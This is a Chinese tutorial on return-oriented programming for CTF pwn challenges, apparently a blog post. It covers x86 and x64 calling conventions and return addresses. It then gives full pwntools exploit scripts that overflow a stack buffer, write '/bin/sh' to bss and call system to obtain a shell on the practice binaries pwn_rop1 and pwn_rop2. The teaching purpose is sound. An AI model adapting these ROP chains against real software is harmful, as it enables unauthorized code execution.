pwn学习资料整理——ROP技术
ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
所以,首先,你的pwn题需要有一个溢出点,下面,讲解一下我对ROP的理解,仅供个人参考。
知识点
- 1. 在32位程序中,参数是以什么形式进行传递的?
- 2. 在64位程序中,参数是以什么形式进行传递的?
- 3. 什么是return address?
- 4. 怎么利用控制栈空间来达到执行程序命令?
- 5. 32位中构造ROP
- 思考
- 6. 64位中构造ROP
1. 在32位程序中,参数是以什么形式进行传递的?
在32位程序中,参数传递主要通过想栈内压入值。我们来看一个例子:
#include<stdio.h>void main() {int a = 1;int b = 2;printf("sum: %d", sum(a, b));
}int sum(int a, int b) {return a + b;
}
产生的汇编语言如下
0x0804840B lea ecx, [esp+4]
0x0804840F and esp, 0FFFFFFF0h
0x08048412 push dword ptr [ecx-4]
0x08048415 push ebp
0x08048416 mov ebp, esp
0x08048418 push ecx
0x08048419 sub esp, 14h
0x0804841C mov [ebp+var_10], 1 # 此处变量赋值 a
0x08048423 mov [ebp+var_C], 2 # 此处变量赋值 b
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C] # 此处往栈中压入 b 的地址
0x08048430 push [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433 call sum
0x08048438 add esp, 10h
0x0804843B sub esp, 8
0x0804843E push eax
0x0804843F push offset format ; "sum: %d"
0x08048444 call _printf
0x08048449 add esp, 10h
0x0804844C nop
0x0804844D mov ecx, [ebp+var_4]
0x08048450 leave
0x08048451 lea esp, [ecx-4]
0x08048454 retn
32位程序中在执行sum
函数时,通过观察汇编代码,我们大致可以看到程序在调用函数时,对栈进行了一系列操作。
首先,程序向栈中压入变量 b,此时的栈:
栈地址 | 值 |
---|---|
0xffffceb4 | 2 # b 的值 |
然后,程序向栈中压入变量 a,此时的栈:
栈地址 | 值 |
---|---|
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
在执行call sum
的时候,相当于执行了2条指令:
push eip
jmp sum
栈的变化:
栈地址 | 值 |
---|---|
0xffffceac | 0x8048438 # sum的下一条指令 |
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
2. 在64位程序中,参数是以什么形式进行传递的?
我们再通过上述c代码编译成64位程序看一下汇编代码
0x400526 push rbp
0x400527 mov rbp, rsp
0x40052A sub rsp, 10h
0x40052E mov [rbp+var_8], 1 # 变量 a 赋值
0x400535 mov [rbp+var_4], 2 # 变量 b 赋值
0x40053C mov edx, [rbp+var_4] # 变量 b 传参
0x40053F mov eax, [rbp+var_8] # 变量 a 传参
0x400542 mov esi, edx # 变量 b 传参
0x400544 mov edi, eax # 变量 a 传参
0x400546 mov eax, 0
0x40054B call sum
0x400550 mov esi, eax
0x400552 mov edi, offset format ; "sum: %d"
0x400557 mov eax, 0
0x40055C call _printf
0x400561 nop
0x400562 leave
0x400563 retn
通过上述汇编代码,我们可以发现,64位程序中,参数的赋值跟32位的区别非常大,64位程序中,我们的参数传递顺序为rdi,rsi,rdx,rcx.r8,r9
3. 什么是return address?
通过第1点中描述,在执行call sum
的时候,会将sum
的下一条命令的执行地址0x8048438
压入栈中,然后程序进入sum片段进行执行,此时,0x8048438
地址就是sum
函数的返回地址,即 return address。
我们看一下sum函数的汇编程序(以32位程序为例):
0x8048455 push ebp
0x8048456 mov ebp, esp
0x8048458 mov edx, [ebp+arg_0]
0x804845B mov eax, [ebp+arg_4]
0x804845E add eax, edx
0x8048460 pop ebp
0x8048461 ret
当执行到ret时,栈空间如下
栈地址 | 值 |
---|---|
0xffffceac | 0x8048438 # sum的下一条指令 |
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
当执行完ret后,栈空间为
栈地址 | 值 |
---|---|
0xffffceb0 | 1 # a 的值 |
0xffffceb4 | 2 # b 的值 |
程序指定的位置为:
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C]
0x08048430 push [ebp+var_10]
0x08048433 call sum
0x08048438 add esp, 10h # 程序执行ret后跳转到这个位置
0x0804843B sub esp, 8
0x0804843E push eax
4. 怎么利用控制栈空间来达到执行程序命令?
通过 1,2,3 这几个知识点的案例,我们已经大致能够了解在程序执行过程中,栈空间的变化,那么接下来,我们研究一下如何用ROP技术,来获取flag。
我们看一道例题。
检查保护机制,没有特别的障碍。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
以下代码通过IDA反编译,以32为程序举例:
int __cdecl main()
{init();return pwnme();
}int pwnme()
{char buf; // [esp+4h] [ebp-44h]puts("pwd : ");read(0, &buf, 0x100u);// gets(&buf); 64为程序中用的是getsif ( strcmp(&buf, "1qazcde3") ){puts("NO FUNCTION");exit(0);}return puts("DONE!");
}
通过代码审计,我们可以很明显看出这是一道栈溢出的漏洞。
怎么看出来的?因为gets函数不会限制你输入的长度,所以很容易溢出到return address。
- 寻找函数表,发现存在system函数
- 寻找字符串表,未发现 /bin/sh 相关字符串
- 如果没有 /bin/sh,那么我们就构造一个 /bin/sh
- 通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。
- 我们通过构造字符串,绕过 1qazcde3 判断,让程序成功运行到 return address。
我们的ROP链设计如下:
“1qazcde3\x00” + 补齐字符串 + 覆盖return address 为 gets/read 地址 + 传入bss地址进行赋值 + 将bss作为参数 + 调用 system 函数。
接下来我们看看在32位和64位程序中,如果去构造上述的ROP链。
5. 32位中构造ROP
这里我们需要用到read,提供的代码中没有get,话不多说,亮代码:
from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
# p32(0) 为system执行后的return address,永远用不到
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()
这里需要解释一下p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)
为什么如此构造。
read_addr 是 pwnme 函数执行结束后的返回地址,而这里的read_addr指向的是plt表,在执行plt表所指向的read_addr函数时,stack中的数展现如下:
stack | 作用 |
---|---|
system_addr | read执行完成后的return address |
p32(0) | read函数的第1个参数 unsigned int fd |
p32(bss_addr) | read函数的第2个参数 char *buf |
p32(255) | read函数的第3个参数 size_t count |
这样的栈结构相当于,执行了read(0, bss_addr, 255)
后,重新跳转到system_addr,而跳转到system_addr后,stack如下:
stack | 作用 |
---|---|
p32(0) | system函数的return address |
p32(bss_addr) | system函数的第1个参数 char *buf |
p32(255) | 用不到 |
也就是说,read结束后,程序走到了system的plt中去执行程序,而此时将bbs_addr当做参数传给了system,相当于执行了system(bss_addr)
。
由于bbs_addr已经被我们写入了/bin/sh
,此时system函数调用时将会给我们返回一个shell,所以system的return address是什么并不重要。
思考
上面 system 的/bin/sh
参数只是恰好把 read指令的参数作为自己的参数,而实现了get shell,如果运气没那么欧怎么办?
没关系,我们来看看另一种通用的实现方式,打开ropper工具,查看文件的指令
ropper -f pwn_rop1
仔细找找灵感
没错,我们可以利用pop
指令,实现对栈的清除,已知 read 函数用到了3个参数,那么,这里我们就采用 3 个pop的0x080486b9: pop esi; pop edi; pop ebp; ret;
于是,修改代码如下:
from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
rop_pop3=0x080486b9
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(rop_pop3) # 清空read的3各参数+ p32(0) + p32(bss_addr) + p32(256) + p32(system_addr)+p32(0)+p32(bss_addr)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()
成功 get shell !
6. 64位中构造ROP
from pwn import *
context.log_level="debug"
p=process("./pwn_rop2")
elf=ELF("./pwn_rop2")
gets=elf.plt["gets"]
bss=0x601060
system=elf.plt["system"]
pop_rdi=0x400883
p.recvuntil("pwd : \n")
#pause()
#gdb.attach(p,"b *0x4007A7")
#raw_input()
#p32(gets)+p32(system)+p32(bss)+p32(bss)
payload="1qazcde3\x00".ljust(64,"1")+'a'*8+p64(pop_rdi)+p64(bss)+p64(gets)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.recvuntil("DONE!\n")
p.sendline("/bin/sh\x00")
p.interactive()
在64位payload构造中,由于参数传递的方式不同,gets的第一个参数为RDI,所以,我们需要在程序中要到这样一个片段,为我们的gets函数传递参数。
pop rdi; ret;
在系统中我们也可以通过 ROPgadget
工具,寻找 pwn_rop2 中可以利用的片段(和ropper差不多)。具体使用方式如下:
ROPgadget --binary pwn_rop2 | grep "pop rdi"
程序返回如下内容
0x0000000000400883 : pop rdi ; ret
x64相较于上面的x86会更加直观更好理解。
以下是相关题目内容,大家可以回去实验一下,通过gdb进行观察各个寄存器和栈空间的变化,来巩固学习。
pwn_rop1
pwn_rop2
pwn_rop3 x86的gets版本,欢迎大家自己动手尝试
pwn学习资料整理——ROP技术相关推荐
- PWN学习资料整理——(二)基础
在PWN中,永远离不开汇编,包括汇编指令,寄存器等 目录 1. 大小端模式 大端模式 小端模式 2. 寄存器 通用寄存器 标志寄存器 段寄存器 3. 内存 4. 堆栈 5. 函数调用约定 x86下函数 ...
- 深度学习资料整理(软件资源)
近这两年里deep learning技术在图像识别和跟踪等方面有很大的突破,是一大研究热点,里面涉及的数学理论和应用技术很值得深入研究,这系列博客总结了深度学习的博客,原理等资料,供大家学习讨论. 一 ...
- 信息学竞赛学习资料整理
信息学竞赛学习资料整理 一.总结 一句话总结:可以在网上获取各种免费视频资源,网上超多,也可以买书,也可以去刷题网站多做题 1.信息学竞赛书籍推荐? 信息学竞赛一本通 算法导论 组合数学 <CC ...
- Go语言学习资料整理
整理网上找到的Golang语言学习资料 基础 基础教程 书籍在线版 Go 指南-A Tour of Go Go语言圣经(中文版) Effective Go中文版 Go Web编程 build-web- ...
- 人工智能、机器学习、深度学习从入门到进阶学习资料整理
最近整理了下在这里分享给大家,欢迎大家点赞收藏. 学习社区 神力AI(MANA):国内最大的AI代码平台. Learn AI:一个AI学习交流中心. AI研习社:一个专注于AI开发者和学术青年求知求职 ...
- (汇总篇)语义SLAM相关开源方案| 全球优秀作者与实验室 | SLAM学习资料整理
目录 1 开源方案 1.1 Geometric SLAM (26项) 1. PTAM 2. S-PTAM(双目 PTAM) 3. MonoSLAM 4. ORB-SLAM2 5. DSO 6. LDS ...
- 人工智能、机器学习、深度学习学习资料整理(开发必备)
最近整理了下AI方面的学习资料,包含了学习社区.入门教程.汲取学习.深度学习.自然语言处理.计算机视觉.数据分析.面试和书籍等方面的知识.在这里分享给大家,欢迎大家点赞收藏. 学习社区 神力AI(MA ...
- 程序员优秀学习资料整理(不断更新中)
如果你发现自己陷入各种新技术.工具包围中,而纠结于该选择哪些学习,读读这篇文章,技术的执念. 综合资源 资源链接汇集 awesome - 各种主流语言的优秀项目汇集 :+1: lists - 资源集合 ...
- Web 前端开发学习资料整理
以前学习过一段时间的web前端开发,整理了一些我看过的/我认为比较好的学习资料(网站.书籍).我只是闲来无事整理一下,如有不足,嘴下留情..毕竟分享不是一件坏事,共同学习... 一. 语言基础(以书和 ...
最新文章
- mysql grant %_MySQL的Grant命令详解
- aix 安装oracle9,IBM P570 小型机AIX5.3系统安装ORACLE9i
- 学习、掌握运营岗位必备的基本能力和思维
- 是介于小型机和微型计算机,第一章计算机基础解析.ppt
- 软件工程学习进度第六周暨暑期学习进度之第六周汇总
- React实现类似淘宝tab居中切换效果
- 最好用的资源管理器软件——Directory Opus
- python安装模块方法_Python模块安装方法
- 这三个究极骚气的炫酷底部导航栏,只有经常逛GitHub划水的人才知道!
- 去除MacBook屏幕下方的白条
- 皮肤黄吃什么可以变白?店湾妹来教你几招!
- andorid自动化测试之Monkey(上)
- 51虚拟安卓系统v1.1.0.6-安卓端的虚拟机(支持root,xposed框架)
- Java基于JSP的论坛交流系统
- 海洋沉积物样品粒度分析
- 面试时该如何反问面试官问题?
- 自然语言处理核心期刊_中文自然语言处理的关键技术.ppt(1.63MB)-NLPIR.ppt
- 北理工乐学C语言 47. 【大学】北理工的恶龙
- centos 7 opencv3 安装——yyw合并
- 工控机的io开发_C#调用工控机dll文件,实现对IO的控制
热门文章
- 自动化运维-ELK搭建
- NGUI血条制作及血条跟随角色目标
- Java:100以内减法练习程序!
- matlab 显示图像 画布太大,canvas画图被放大且模糊的解决方法
- Fast and Scalable Adversarial Training of Kernel SVM via Doubly Stochastic Gradients
- [信号处理小结系列1]信号和信息
- 集线器、交换机、路由器、网桥、网关
- 150个常用的Linux命令汇总
- [线段树][单调栈] BZOJ 4527 CF 407E: K-D-Sequence
- swf 加密:采用byteArray 方式,增加字符串加密,可加密大文件swf